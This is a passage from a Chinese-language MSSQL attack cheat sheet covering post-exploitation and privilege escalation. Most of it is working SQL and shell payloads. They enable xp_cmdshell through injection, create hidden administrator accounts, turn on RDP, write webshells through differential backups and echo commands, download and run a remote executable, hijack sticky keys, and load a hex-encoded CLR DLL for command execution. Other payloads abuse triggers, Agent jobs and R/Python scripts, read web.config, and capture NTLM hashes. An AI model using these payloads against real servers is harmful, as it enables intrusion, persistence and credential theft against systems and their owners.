execute('reconfigure')                             # 保存设置
execute('sp_configure "xp_cmdshell", 1')           # 将xp_cmdshell的值设置为1
execute('reconfigure')                             # 保存设置
execute('sp_configure')                            # 查看配置
execute('xp_cmdshell "whoami"')                    # 执行系统命令

exec sp_configure 'show advanced options',1;       # 将该选项的值设置为1
reconfigure;                                       # 保存设置
exec sp_configure 'xp_cmdshell',1;                 # 将xp_cmdshell的值设置为1
reconfigure;                                       # 保存设置
exec sp_configure;                                 # 查看配置
exec xp_cmdshell 'whoami';                         # 执行系统命令

# 可以执行系统权限之后,前提是获取的主机权限是administrators组里的或者system权限
exec xp_cmdshell 'net user Guest 123456'           # 给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes'      # 激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add'  # 将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'  # 开启3389端口

扩展存储Getshell

条件

1.数据库是 db_owner 权限

2.扩展存储必须开启,涉及到的的扩展存储过程: xp_cmdshell、 xp_dirtree、 xp_subdirs、 xp_regread

1.查看是否禁用扩展存储过程xp_cmdshell
id=0 union select 1,2,count(*) FROM master..sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'--+
id=1 and 1=(select count(*) from master.sys.sysobjects where name='xp_cmdshell')--+

2.执行命令
id=1;exec master.sys.xp_cmdshell 'net user admin Admin@123 /add'--+
id=1;exec master.sys.xp_cmdshell 'net localgroup administrators admin /add'--+

差异备份GetShell

差异备份简介

差异备份数据库得到webshell。在sqlserver里dbo和sa权限都有备份数据库权限,我们可以把数据库备份称asp文件,这样我们就可以通过mssqlserver的备份数据库功能生成一个网页小马。

前提条件

具有db_owner权限

知道web目录的绝对路径

寻找绝对路径的方法

报错信息

字典爆破

根据旁站目录进行推测

存储过程来搜索

在mssql中有两个存储过程可以帮我们来找绝对路径:xp_cmdshell xp_dirtree

先来看xp_dirtree直接举例子

execute master..xp_dirtree 'c:' --列出所有c:\文件、目录、子目录
execute master..xp_dirtree 'c:',1 --只列c:\目录
execute master..xp_dirtree 'c:',1,1 --列c:\目录、文件

当实际利用的时候我们可以创建一个临时表把存储过程查询到的路径插入到临时表中

CREATE TABLE tmp (dir varchar(8000),num int,num1 int);
insert into tmp(dir,num,num1) execute master..xp_dirtree 'c:',1,1;

当利用xp_cmdshell时,其实就是调用系统命令来寻找文件

例如:

?id=1;CREATE TABLE cmdtmp (dir varchar(8000));
?id=1;insert into cmdtmp(dir) exec master..xp_cmdshell 'for /r c:\ %i in (1*.aspx) do @echo %i'

读配置文件

差异备份的大概流程

1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--+

**2.创建表并插入数据**
create table [dbo].[dtest] ([cmd] [image]);--+
insert into dtest(cmd)values(0x3C25657865637574652872657175657374282261222929253E);--+

**3.进行差异备份**
backup database 库名 to disk='c:\interub\wwwroot\shell.asp' WITH DIFFERENTIAL,FORMAT;--+

# 上面0x3C25657865637574652872657175657374282261222929253E即一句话木马的内容:<%execute(request("a"))%>

xp_cmdshell GetShell

原理很简单,就是利用系统命令直接像目标网站写入木马

?id=1;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > c:\\WWW\\404.aspx' ;

这里要注意 <>必须要转义,转义不是使用\而是使用^

文件下载getshell

当我们不知道一些网站绝对路径时,我们可以通过文件下载命令,加载远程的木马文件,或者说.ps1脚本,使目标机器成功上线cs或者msf

MSSQL提权

存储过程说明

xp_dirtree

用于显示当前目录的子目录,有如下三个参数

directory:表示要查询的目录

depath:要显示子目录的深度,默认值是0,表示所有的子目录

file:第三个参数,布尔类型,指定是否显示子目录中的文件,默认值是0,标水不显示任何文件,只显示子目录

imagen


imagen



imagen


xp_dirtree 能够触发NTLM请求xp_dirtree '\\\any\thing'

xp_subdirs

用于得到给定的文件夹内的文件夹列表

exec xp_subdirs 'c:\'

imagen


xp_fixeddrives

用于查看磁盘驱动器剩余的空间

exec xp_fixeddrives

imagen


xp_availablemedia

用于获得当前所有的驱动器

exec xp_availablemedia

imagen


xp_fileexist

用于判断文件是否存在

exec xp_fileexist 'c:\windows\123.txt'

imagen


imagen


xp_create_subdir

用于创建子目录,参数是子目录的路径

exec xp_create_subdir 'c:\users\admin\desktop\test'

imagen


xp_delete_file

可用于删除文件,但是不会删除任意类型的文件,系统限制它只能删除特定类型(备份文件和报表文件)

第一个参数是文件类型(File Type),有效值是0和1,0是指备份文件,1是指报表文件;

第二个参数是目录路径(Folder Path), 目录中的文件会被删除,目录路径必须以“\”结尾;

第三个参数是文件的扩展名(File Extension),常用的扩展名是'BAK' 或'TRN';

第四个参数是Date,早于该日期创建的文件将会被删除;

第五个参数是子目录(Subfolder),bool类型,0是指忽略子目录,1是指将会删除子目录中的文件;

xp_regenumkeys

可以查看指定的注册表

exec xp_regenumkeys 'HKEY_CURRENT_USER','Control Panel\International'

imagen


xp_regdeletekey

删除指定的注册表键值

EXEC xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe';

xp_regwrite

描述:

修改注册表

利用条件:

xpstar.dll

修改注册表来劫持粘贴键(映像劫持)

(测试结果 Access is denied,没有权限)
exec master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:\windows\system32\cmd.exe'


sp_addextendedproc

可以用于恢复组件

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumgroups ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_loginconfig ,@dllname ='xplog70.dll'
EXEC sp_addextendedproc xp_enumerrorlogs ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_getfiledetails ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc Sp_OACreate ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OADestroy ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetErrorInfo ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAGetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAMethod ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OASetProperty ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc Sp_OAStop ,@dllname ='odsole70.dll'
EXEC sp_addextendedproc xp_regaddmultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletekey ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regdeletevalue ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regenumvalues ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regremovemultistring ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regwrite ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_dirtree ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_regread ,@dllname ='xpstar.dll'
EXEC sp_addextendedproc xp_fixeddrives ,@dllname ='xpstar.dll'

sp_dropextendedproc

用于删除扩展存储过程

exec sp_dropextendedproc 'xp_cmdshell'

xp_cmdshell

描述:

xp_cmdshell 是 Sql Server 中的一个组件,我们可以用它来执行系统命令。

利用条件:

拥有 DBA 权限, 在 2005 中 xp_cmdshell 的权限是 system,2008 中是 network。

依赖 xplog70.dll

-- 判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');

-- 查看是否存在 xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

-- 查看能否使用 xp_cmdshell,从MSSQL2005版本之后默认关闭
select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell'

-- 关闭 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

-- 开启 xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;

-- 执行 xp_cmdshell
exec xp_cmdshell 'cmd /c whoami'

-- xp_cmdshell 调用cmd.exe用powershell 远程下载exe并执行
exec xp_cmdshell '"echo $client = New-Object System.Net.WebClient > %TEMP%\test.ps1 & echo $client.DownloadFile("http://example/test0.exe","%TEMP%\test.exe") >> %TEMP%\test.ps1 & powershell  -ExecutionPolicy Bypass  %temp%\test.ps1 & WMIC process call create "%TEMP%\test.exe""'

无回显,也无法进行dnslog怎么办:

通过临时表查看命令执行结果(在注入时,要能堆叠)

CREATE TABLE tmpTable (tmp1 varchar(8000));
insert into tmpTable(tmp1) exec xp_cmdshell 'ipconfig'
select * from tmpTable

如果 xp_cmdshell 被删除了:

如果 xp_cmdshell 被删除了,需要重新恢复或自己上传 xplog70.dll 进行恢复

以mssql2012为例,默认路径为:

C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERVER\MSSQL\Binn\xplog70.dll

-- 判断存储扩展是否存在,返回结果为1就OK
Select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

-- 恢复xp_cmdshell,返回结果为1就OK
Exec sp_addextendedproc 'xp_cmdshell','xplog70.dll';
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'

-- 否则上传xplog70.dll
Exec master.dbo.sp_addextendedproc 'xp_cmdshell','D:\\xplog70.dll'

sp_oacreate

描述:

使用sp_oacreate的提权语句,主要是用来调用OLE对象(Object Linking and Embedding的缩写,VB中的OLE对象),利用OLE对象的run方法执行系统命令。

利用条件:

拥有DBA权限

依赖odsole70.dll

-- 判断当前是否为DBA权限,为1则可以提权
select is_srvrolemember('sysadmin');

-- 判断SP_OACREATE状态,如果存在返回1
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE'

-- 启用 sp_oacreate
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures', 1;
reconfigure;

-- wscript.shell组件执行系统命令
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;

-- 输出执行结果到指定文件
declare @ffffffff0x int
exec sp_oacreate 'wscript.shell',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\\www\\1.txt'

-- 利用com组件执行命令
declare @ffffffff0x int,@exec int,@text int,@str varchar(8000)
exec sp_oacreate '{72C24DD5-D70A-438B-8A42-98424B88AFB8}',@ffffffff0x output
exec sp_oamethod @ffffffff0x,'exec',@exec output,'C:\\Windows\\System32\\cmd.exe /c whoami'
exec sp_oamethod @exec, 'StdOut', @text out
exec sp_oamethod @text, 'readall', @str out
select @str;

-- 利用com组件写文件
DECLARE @ObjectToken INT;
EXEC Sp_OACreate '{00000566-0000-0010-8000-00AA006D2EA4}',@ObjectToken OUTPUT;
EXEC Sp_OASetProperty @ObjectToken, 'Type', 1;
EXEC sp_oamethod @ObjectToken, 'Open';
EXEC sp_oamethod @ObjectToken, 'Write', NULL, 0x66666666666666663078;
EXEC sp_oamethod @ObjectToken, 'SaveToFile', NULL,'ffffffff0x.txt',2;
EXEC sp_oamethod @ObjectToken, 'Close';
EXEC sp_OADestroy @ObjectToken;

-- 利用filesystemobject写vb脚本 (目录必须存在,否则也会显示成功,但是没有文件写入)
declare @o int, @f int, @t int, @ret int,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah'declare @o int, @f int, @t int, @ret int,@a int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o,'createtextfile', @f out, 'c:\\www\\ffffffff0x.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'hahahahahahhahahah(这里是文件写入的内容)'

-- 配合 wscript.shell 组件执行
DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out
EXEC sp_oamethod @s,[run],NULL,[c:\\www\\ffffffff0x.vbs]

-- 复制具有不同名称和位置的 calc.exe 可执行文件 (测试未成功)
declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\calc_copy.exe';

-- 移动文件 (测试好像只有 利用写入的VB脚本才能创建)
declare @ffffffff0x int
exec sp_oacreate 'scripting.filesystemobject',@ffffffff0x out
exec sp_oamethod @ffffffff0x,'movefile',null,'c:\\www\\1.txt','c:\\www\\3.txt'

-- 替换粘滞键
declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\\windows\\system32\calc.exe','c:\\windows\\system32\sethc.exe';

declare @ffffffff0x int;
exec sp_oacreate 'scripting.filesystemobject', @ffffffff0x out;
exec sp_oamethod @ffffffff0x,'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe'

-- 使用JavaScript创建账户,更改其密码并将新账号添加到管理员组 (测试未成功)
declare @ffffffff0x int
EXEC sp_OACreate 'ScriptControl',@ffffffff0x OUT
EXEC sp_OASetProperty @ffffffff0x, 'Language','JavaScript'
EXEC sp_OAMethod @ffffffff0x, 'Eval', NULL,'var o=new ActiveXObject("Shell.Users");z=o.create("testuser");z.changePassword("123456!@#","");z.setting("AccountType")=3;';

SQL Server Agent Job 代理执行计划任务

描述:

SQL Server 代理是一项 Microsoft Windows 服务,它执行计划的管理任务,这些任务在 SQL Server 中称为作业。

利用条件:

拥有 DBA 权限

需要 sqlserver 代理 (sqlagent) 开启,Express 版本Sql Server 是无法启用的

-- 开启 sqlagent 服务 (还是没有权限,很纳闷,sa账户登录 还没权限)
exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT';

-- 利用任务计划命令执行(无回显,可以 dnslog)
-- 创建任务 test,这里test为任务名称,并执行命令,命令执行后的结果,将返回给文本文档out.txt

use msdb;
exec sp_delete_job null,'test'
exec sp_add_job 'test'
exec sp_add_jobstep null,'test',null,'1','cmdexec','cmd /c "whoami>c:/out.txt"'
exec sp_add_jobserver null,'test',@@servername
exec sp_start_job 'test';

CLR提权

描述:

从 SQL Server 2005 (9.x) 开始,SQL Server 集成了用于 Microsoft Windows 的 .NET Framework 的公共语言运行时 (CLR) 组件。 这意味着现在可以使用任何 .NET Framework 语言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)来编写存储过程、触发器、用户定义类型、用户定义函数、用户定义聚合和流式表值函数。
-
MDUT 中的16进制的dll

dll的制作可以参考下面的文章

<a href="https://xz.aliyun.com/t/10955#toc-12" h"="">https://xz.aliyun.com/t/10955#toc-12

利用条件:

拥有DBA权限

-- 启用CLR,SQL Server 2017版本之前
sp_configure 'show advanced options',1;RECONFIGURE; -- 显示高级选项
sp_configure 'clr enabled',1;RECONFIGURE; -- 启用CLR
ALTER DATABASE master SET TRUSTWORTHY ON; -- 将存储.Net程序集的数据库配置为可信赖的

-- 启用CLR,SQL Server 2017版本及之后,引入了严格的安全性,可以选择根据提供的 SHA512 散列专门授予单个程序集的 UNSAFE 权限
sp_configure 'show advanced options',1;RECONFIGURE;
sp_configure 'clr enabled',1;RECONFIGURE;
sp_add_trusted_assembly @hash=; -- 将某程序集的SHA512哈希值添加到可信程序集列表中

-- 配置 EXTERNAL ACCESS ASSEMBLY 权限, test 是我指定的数据库
EXEC sp_changedbowner 'sa'
ALTER DATABASE [test] SET trustworthy ON

-- 导入CLR插件

CREATE ASSEMBLY [mssql_CLR]  AUTHORIZATION [dbo]  FROM 0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004C010300660705620000000000000000E00022200B013000000E00000006000000000000522C0000002000000040000000000010002000000002000004000000000000000400000000000000008000000002000000000000030040850000100000100000000010000010000000000000100000000000000000000000002C00004F00000000400000A802000000000000000000000000000000000000006000000C000000C82A00001C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000080000000000000000000000082000004800000000000000000000002E74657874000000580C000000200000000E000000020000000000000000000000000000200000602E72737263000000A8020000004000000004000000100000000000000000000000000000400000402E72656C6F6300000C0000000060000000020000001400000000000000000000000000004000004200000000000000000000000000000000342C00000000000048000000020005007C2200004C0800000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000CA00280600000A72010000706F0700000A00280600000A7243000070725300007002280800000A28020000066F0700000A002A001B300600BC0100000100001173040000060A00730900000A0B076F0A00000A026F0B00000A0003280C00000A16FE010D092C0F00076F0A00000A036F0D00000A0000076F0A00000A176F0E00000A00076F0A00000A176F0F00000A00076F0A00000A166F1000000A00076F0A00000A176F1100000A00076F0A00000A176F1200000A0006731300000A7D010000040706FE0605000006731400000A6F1500000A00140C00076F1600000A26076F1700000A00076F1800000A6F1900000A0C076F1A00000A0000DE18130400280600000A11046F1B00000A6F0700000A0000DE00076F1C00000A16FE01130511052C1D00280600000A067B010000046F1D00000A6F0700000A000038AA00000000731300000A130608280C00000A16FE01130711072C0B001106086F1E00000A2600067B010000046F1F00000A16FE03130811082C22001106725D0000706F1E00000A261106067B010000046F1D00000A6F1E00000A2600280600000A1C8D0E000001251602A2251703A225187275000070A22519076F1C00000A13091209282000000AA2251A72AD000070A2251B1106252D0426142B056F1D00000AA2282100000A6F0700000A0000067B010000046F1D00000A130A2B00110A2A011000000000970025BC0018080000012202282200000A002A4E027B01000004046F2300000A6F1E00000A262A00000042534A4201000100000000000C00000076342E302E33303331390000000005006C000000A8020000237E000014030000B403000023537472696E677300000000C8060000B4000000235553007C0700001000000023475549440000008C070000C000000023426C6F620000000000000002000001571502000902000000FA0133001600000100000014000000030000000100000005000000050000002300000005000000010000000100000003000000010000000000D60101000000000006007001BA0206009001BA0206004601A7020F00DA02000006003C03E4010A005A015A020E001503A7020600EB01E40106002C027A0306002B01BA020E00FA02A7020A0086035A020A0023015A020600C401E4010E000302A7020E00D200A7020E004102A70206001402360006002102360006002700E401000000002D00000000000100010001001000E9020000150001000100030110000100000015000100040006007003790050200000000096008D007D000100842000000000960099001A0002005C22000000008618A102060004005C22000000008618A102060004006522000000008300160082000400000001007F0000000100F200000002002B03000001003A020000020010030900A10201001100A10206001900A1020A003100A10206005100A102060061001A0110006900A4001500710035031A003900A10206003900F50132007900E50015007100A403370079001D031500790091033C007900C20041007900AE013C00790087023C00790055033C004900A10206008900A1024700390068004D0039004F0353003900FB000600390075025700990083005C003900430306004100B6005C003900A90060002900C2015C0049000F0164004900CB016000A100C2015C00710035036A002900A1020600590056005C0020002300BA002E000B0089002E00130092002E001B00B10063002B00BA0020000480000000000000000000000000000000004000000004000000000000000000000070005F000000000004000000000000000000000070004A00000000000400000000000000000000007000E40100000000030002000000003C3E635F5F446973706C6179436C617373315F30003C52756E436F6D6D616E643E625F5F3000496E743332003C4D6F64756C653E0053797374656D2E494F006D7373716C5F434C520053797374656D2E44617461006765745F44617461006D73636F726C6962006164645F4F757470757444617461526563656976656400636D640052656164546F456E640045786563436F6D6D616E640052756E436F6D6D616E640053656E64006765745F45786974436F6465006765745F4D657373616765007365745F57696E646F775374796C650050726F6365737357696E646F775374796C65007365745F46696C654E616D650066696C656E616D6500426567696E4F7574707574526561644C696E6500417070656E644C696E65006765745F506970650053716C5069706500436F6D70696C657247656E6572617465644174747269627574650044656275676761626C654174747269627574650053716C50726F63656475726541747472696275746500436F6D70696C6174696F6E52656C61786174696F6E734174747269627574650052756E74696D65436F6D7061746962696C697479417474726962757465007365745F5573655368656C6C4578656375746500546F537472696E67006765745F4C656E677468006D7373716C5F434C522E646C6C0053797374656D00457863657074696F6E006765745F5374617274496E666F0050726F636573735374617274496E666F0053747265616D526561646572005465787452656164657200537472696E674275696C6465720073656E646572004461746152656365697665644576656E7448616E646C6572004D6963726F736F66742E53716C5365727665722E536572766572006765745F5374616E646172644572726F72007365745F52656469726563745374616E646172644572726F72002E63746F720053797374656D2E446961676E6F73746963730053797374656D2E52756E74696D652E436F6D70696C6572536572766963657300446562756767696E674D6F6465730053746F72656450726F63656475726573004461746152656365697665644576656E744172677300617267730050726F63657373007365745F417267756D656E747300617267756D656E747300436F6E636174004F626A6563740057616974466F7245786974005374617274007365745F52656469726563745374616E646172644F7574707574007374644F75747075740053797374656D2E546578740053716C436F6E74657874007365745F4372656174654E6F57696E646F770049734E756C6C4F72456D707479000000004143006F006D006D0061006E0064002000690073002000720075006E006E0069006E0067002C00200070006C006500610073006500200077006100690074002E00000F63006D0064002E00650078006500000920002F0063002000001753007400640020006F00750074007000750074003A0000372000660069006E00690073006800650064002000770069007400680020006500780069007400200063006F006400650020003D00200000053A00200000005E54E0227F5F5E409B9302C5EA5F62E7000420010108032000010520010111110400001235042001010E0500020E0E0E11070B120C121D0E0212210212250202080E042000123D040001020E0420010102052001011141052002011C180520010112450320000204200012490320000E0320000805200112250E0500010E1D0E08B77A5C561934E08903061225040001010E062002011C122D0801000800000000001E01000100540216577261704E6F6E457863657074696F6E5468726F777301080100070100000000040100000000000000006607056200000000020000001C010000E42A0000E40C000052534453F12CF9670467FE4789AA4C0BB3C9132401000000433A5C55736572735C546573745C736F757263655C7265706F735C6D7373716C5F434C525C6D7373716C5F434C525C6F626A5C44656275675C6D7373716C5F434C522E70646200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000282C00000000000000000000422C0000002000000000000000000000000000000000000000000000342C0000000000000000000000005F436F72446C6C4D61696E006D73636F7265652E646C6C0000000000FF250020001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001001000000018000080000000000000000000000000000001000100000030000080000000000000000000000000000001000000000048000000584000004C02000000000000000000004C0234000000560053005F00560045005200530049004F004E005F0049004E0046004F0000000000BD04EFFE00000100000000000000000000000000000000003F000000000000000400000002000000000000000000000000000000440000000100560061007200460069006C00650049006E0066006F00000000002400040000005400720061006E0073006C006100740069006F006E00000000000000B004AC010000010053007400720069006E006700460069006C00650049006E0066006F0000008801000001003000300030003000300034006200300000002C0002000100460069006C0065004400650073006300720069007000740069006F006E000000000020000000300008000100460069006C006500560065007200730069006F006E000000000030002E0030002E0030002E00300000003C000E00010049006E007400650072006E0061006C004E0061006D00650000006D007300730071006C005F0043004C0052002E0064006C006C0000002800020001004C006500670061006C0043006F00700079007200690067006800740000002000000044000E0001004F0072006900670069006E0061006C00460069006C0065006E0061006D00650000006D007300730071006C005F0043004C0052002E0064006C006C000000340008000100500072006F006400750063007400560065007200730069006F006E00000030002E0030002E0030002E003000000038000800010041007300730065006D0062006C0079002000560065007200730069006F006E00000030002E0030002E0030002E0030000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000C000000543C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000  WITH PERMISSION_SET = UNSAFE;GO

-- 创建CLR函数
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [mssql_CLR].[StoredProcedures].[ExecCommand]
go

-- 利用CLR执行系统命令
exec dbo.ExecCommand "whoami /all";

------------------------------------------------------------------------------------------------------------------------------

-- 格式简化
-- 导入CLR插件
CREATE ASSEMBLY [clrdata]
AUTHORIZATION [dbo]
FROM 0x16进制的dll
WITH PERMISSION_SET = UNSAFE;

-- 创建CLR函数
CREATE PROCEDURE [dbo].[testclrexec]
@method NVARCHAR (MAX) , @arguments NVARCHAR (MAX)
AS EXTERNAL NAME [clrdata].[StoredProcedures].[testclrexec]

-- 利用CLR执行系统命令
exec testclrexec 'cmdexec',N'whoami'

触发器提权

触发器是一种特殊类型的存储过程,它不同于存储过程。触发器主要是通过事件进行触发被自动调用执行的。而存储过程可以通过存储过程的名称被调用。

SqlServer 包括三种常规类型的触发器:DML 触发器、DDL 触发器和登录触发器

登录触发器:

登录触发器将为响应 LOGIN 事件而激发存储过程。与 SQL Server 实例建立用户会话时将引发此事件。登录触发器将在登录的身份验证阶段完成之后且用户会话实际建立之前激发。因此,来自触发器内部且通常将到达用户的所有消息(例如错误消息和来自 PRINT 语句的消息)会传送到 SQL Server 错误日志。如果身份验证失败,将不激发登录触发器。

-- 设置一个触发器 ffffffff0x,当 user 表更新时触发命令 (user 表 必须存在,且 容易 卡死 因为这个calc在运行 查询就不会停止)
set ANSI_NULLS on
go
set QUOTED_IDENTIFIER on
go
create trigger [ffffffff0x]
on [user]
AFTER UPDATE as
begin
    execute master..xp_cmdshell 'cmd.exe /c calc.exe'
end
go

-- user 表 update 更新时,自动触发
UPDATE user SET id = '22' WHERE nickname = 'f0x'

SQL Server R 和 Python 的利用

描述

在 SQL Server 2017 及更高版本中,R 与 Python 一起随附在机器学习服务中。该服务允许通过 SQL Server 中 sp_execute_external_script 执行 Python 和 R 脚本

利用条件:

Machine Learning Services 必须要在 Python 安装过程中选择

必须启用外部脚本

EXEC sp_configure 'external scripts enabled', 1

RECONFIGURE WITH OVERRIDE

重新启动数据库服务器

用户拥有执行任何外部脚本权限

-- R脚本利用
-- 利用 R 执行命令
sp_configure 'external scripts enabled'
GO
EXEC sp_execute_external_script
@language=N'R',
@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'
WITH RESULT SETS (([cmd_out] text));
GO

-- 利用 R 抓取 Net-NTLM 哈希
@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'

-- Python脚本利用
-- 查看版本
exec sp_execute_external_script
@language =N'Python',
@script=N'import sys
OutputDataSet = pandas.DataFrame([sys.version])'
WITH RESULT SETS ((python_version nvarchar(max)))

-- 利用 Python 执行命令
exec sp_execute_external_script
@language =N'Python',
@script=N'import subprocess
p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE)
OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'

-- 利用 Python 读文件
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
WITH RESULT SETS (([cmd_out] nvarchar(max)))

AD Hoc 分布式查询 & Microsoft OLE DB Provider for Microsoft Jet (沙盒提权)

AD Hoc 分布式查询允许从多个异构数据源(例如 SQL Server 的多个实例)访问数据。这些数据源可以存储在相同或不同的计算机上。启用临时访问后,登录到该实例的任何用户都可以使用 OLE DB 提供程序通过 OPENROWSET 或 OPENDATASOURCE 函数执行引用网络上任何数据源的 SQL 语句。

攻击者滥用 Ad Hoc 分布式查询和 Microsoft OLE DB Provider for Microsoft Jet 来创建和执行旨在从远程服务器下载恶意可执行文件的脚本。

利用条件

拥有 DBA 权限

sqlserver 服务权限为 system

服务器拥有 jet.oledb.4.0 驱动

-- 修改注册表,关闭沙盒模式
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0

-- 开启 Ad Hoc Distributed Queries
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
GO
EXEC sp_configure 'ad hoc distributed queries', 1
RECONFIGURE
GO
-- Until SQL Server 2012

EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'AllowInProcess', 1
EXEC master.dbo.sp_MSset_oledb_prop N'Microsoft.Jet.OLEDB.4.0', N'AllowInProcess', 1

-- SQL Server 2014 or later
EXEC sp_MSset_oledb_prop N'Microsoft.ACE.OLEDB.12.0', N'DynamicParameters', 1
